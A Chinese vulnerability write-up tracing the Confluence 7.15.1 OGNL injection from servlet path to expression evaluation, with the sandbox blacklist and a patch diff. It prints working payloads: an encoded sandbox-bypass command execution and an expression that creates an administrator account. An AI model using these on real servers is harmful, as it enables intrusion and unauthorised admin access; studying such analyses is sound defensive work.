环境

windows server 2016 + Confluence 7.15.1

下载exe然后直接下一步下一步就行了。

web在8090端口,8000是rmi端口。

1.png

安装试用版,输入授权码即可。

然后配置数据库

2.png

需要额外装一个pgsql,创建一个名为confluence的数据库。

3.png

接着选示范站点,然后选在confluence中管理用户。

4.png

配置管理员账号密码,然后就安装完成了。

5.png

分析

官方通告上写了用新的xwork-1.0.3-atlassian-10.jar替换老的xwork-1.0.3-atlassian-8.jar

6.png

diff补丁发现

7.png

移除了com.opensymphony.xwork.util.TextParseUtil#translateVariables的调用,跟进这个函数发现这里是ognl表达式执行点。

8.png

接下来分两部分来写这个洞

  1. 正向数据流
  2. 绕过沙箱

正向来看

断点打在com.opensymphony.xwork.ActionChainResult#execute然后看堆栈

9.png

在filter之后由com.opensymphony.webwork.dispatcher.ServletDispatcher#service做请求分发

10.png

getNameSpace从url中获取最后一个斜线之前的内容。

11.png

然后走到com.atlassian.confluence.servlet.ConfluenceServletDispatcher#serviceAction ConfluenceServletDispatcher是ServletDispatcher的子类

在serviceAction中先调用createActionProxy创建一个代理对象,然后调用代理对象的execute函数,在代理对象中我们的payload保存至namespace字段

12.png

接着到com.opensymphony.xwork.DefaultActionProxy#execute

13.png

这里继续调用com.opensymphony.xwork.DefaultActionInvocation#invoke

14.png

其中this.interceptors是拦截器,Confluence默认有28个

15.png

然后将自身this传递给interceptor.intercept(this),以com.opensymphony.xwork.interceptor.AroundInterceptor拦截器为例,仍会调用invocation.invoke()

16.png

以此形成迭代循环,遍历所有拦截器,在某些拦截器中会返回resultCode为notpermitted

17.png

confluence-7.15.1.jar!\xwork.xml中,notpermitted对应的type是chain

18.png

chain对应com.opensymphony.xwork.ActionChainResult

19.png

然后接着执行this.executeResult(),在executeResult中将this传递给this.result.execute(this)

20.png

this.resultthis.createResult()创建而来,在createResult中会根据resultCode来构建结果

21.png

其中notpermitted对应的result类为com.opensymphony.xwork.ActionChainResult,所以会进入com.opensymphony.xwork.ActionChainResult#execute

22.png

最后在这个地方有ognl,从http的servlet path传递给了ognl执行,造成rce。

沙箱

v7.15开始,Confluence在OGNL表达式解析时加入了沙箱设置。在com.opensymphony.xwork.util.TextParseUtil#translateVariables调用ognl时使用findValue

23.png

findValue中存在安全校验

24.png

黑名单

  1sun.misc.Unsafe
  2classLoader
  3java.lang.System
  4java.lang.ThreadGroup
  5com.opensymphony.xwork.ActionContext                 java.lang.Compiler
  6com.atlassian.applinks.api.ApplicationLinkRequestFactory
  7java.lang.Thread
  8com.atlassian.core.util.ClassLoaderUtils
  9java.lang.ProcessBuilder
 10java.lang.InheritableThreadLocal
 11com.atlassian.core.util.ClassHelper
 12class
 13java.lang.Shutdown
 14java.lang.ThreadLocal
 15java.lang.Process
 16java.lang.Package
 17org.apache.tomcat.InstanceManager
 18java.lang.Runtime
 19javax.script.ScriptEngineManager
 20javax.persistence.EntityManager
 21org.springframework.context.ApplicationContext
 22java.lang.SecurityManager
 23java.lang.Object
 24java.lang.Class
 25java.lang.RuntimePermission
 26javax.servlet.ServletContext
 27java.lang.ClassLoader
 28java.rmi
 29sun.management
 30org.apache.catalina.session
 31java.jms
 32com.atlassian.confluence.util.io
 33com.google.common.reflect
 34javax.sql
 35java.nio
 36com.atlassian.sal.api.net
 37sun.invoke
 38java.util.zip
 39liquibase
 40com.hazelcast
 41org.apache.commons.httpclient
 42com.atlassian.util.concurrent
 43java.net
 44freemarker.ext.jsp
 45com.sun.jna
 46net.java.ao
 47javax
 48sun.corba
 49org.springframework.util.concurrent
 50com.sun.jmx
 51sun.misc
 52javassist
 53ognl
 54org.apache.commons.exec
 55com.atlassian.cache
 56org.wildfly.extension.undertow.deployment                 java.lang.reflect
 57io.atlassian.util.concurrent
 58java.util.concurrent
 59com.atlassian.confluence.util.http
 60sun.tracing
 61org.objectweb.asm
 62freemarker.template
 63net.sf.hibernate
 64freemarker.core
 65net.bytebuddy
 66org.apache.tomcat
 67freemarker.ext.rhino
 68com.atlassian.media
 69org.springframework.context
 70org.apache.velocity
 71javax.xml
 72java.sql
 73sun.reflect
 74sun.net
 75javax.persistence
 76org.javassist
 77javax.naming
 78org.apache.httpcomponents.httpclient
 79com.atlassian.hibernate
 80sun.nio
 81com.atlassian.confluence.impl.util.sandbox
 82com.google.common.net
 83com.atlassian.filestore
 84org.apache.commons.io
 85com.atlassian.vcache
 86jdk.nashorn
 87sun.launcher
 88oshi
 89org.apache.bcel
 90sun.rmi
 91sun.tools.jar
 92org.springframework.expression.spel
 93com.opensymphony.xwork.util
 94org.ow2.asm
 95com.atlassian.confluence.setup.bandana
 96org.quartz
 97net.sf.cglib
 98com.atlassian.activeobjects
 99com.atlassian.utils.process
100sun.security
101com.atlassian.quartz
102javax.management
103sun.awt.shell
104com.google.common.cache
105org.apache.http.client
106java.io
107com.atlassian.confluence.util.sandbox
108java.util.jar
109com.atlassian.scheduler
110sun.print
111com.atlassian.failurecache
112com.google.common.io
113org.apache.catalina.core
114org.ehcache
115getClass
116getClassLoader

白名单

1net.sf.hibernate.proxy.HibernateProxy
2java.lang.reflect.Proxy
3net.java.ao.EntityProxyAccessor
4net.java.ao.RawEntity
5net.sf.cglib.proxy.Factory
6java.io.ObjectInputValidation
7net.java.ao.Entity
8com.atlassian.confluence.util.GeneralUtil
9java.io.Serializable

还有一个不安全的表达式检查

25.png

这里直接用Class.forName拿到关键类就行了,p牛给了payload

1${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))"))}

拓展

还有一些Result也调用了translateVariables

 1redirect	com.atlassian.confluence.xwork.RedirectResult
 2loginrequired	com.atlassian.confluence.xwork.RedirectResult
 3notsetup	com.atlassian.confluence.xwork.RedirectResult
 4notpermittedpersonal	com.opensymphony.xwork.ActionChainResult
 5forward	com.opensymphony.webwork.dispatcher.ServletDispatcherResult
 6websudorequired	com.atlassian.confluence.xwork.RedirectResult
 7atom03	com.atlassian.xwork.results.RssResult
 8rss1	com.atlassian.xwork.results.RssResult
 9httpmethodnotallowed	com.opensymphony.webwork.dispatcher.HttpHeaderResult
10atom10	com.atlassian.xwork.results.RssResult
11licenseexpired	com.atlassian.confluence.setup.webwork.EncodingVelocityResult
12rss	com.atlassian.xwork.results.RssResult
13readonly	com.opensymphony.xwork.ActionChainResult
14notpermitted	com.opensymphony.xwork.ActionChainResult
15rss2	com.atlassian.xwork.results.RssResult
16notfound	com.opensymphony.xwork.ActionChainResult
17invalidmethod	com.opensymphony.webwork.dispatcher.HttpHeaderResult
18licenseusersexceeded	com.atlassian.confluence.setup.webwork.EncodingVelocityResult
19alreadysetup	com.atlassian.confluence.setup.webwork.EncodingVelocityResult
20pagenotfound	com.opensymphony.webwork.dispatcher.ServletDispatcherResult
21atom	com.atlassian.xwork.results.RssResult

26.png

简单看了看,没有可控点,先搁着吧。

一些其他利用姿势

添加用户

1${#this.getUserAccessor().addUser('test','test@1234','test@gmail.com','Test',@com.atlassian.confluence.util.GeneralUtil@splitCommaDelimitedString("confluence-administrators,confluence-users"))}

SetCookie

1${@com.atlassian.confluence.util.GeneralUtil@setCookie("key","value")}

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。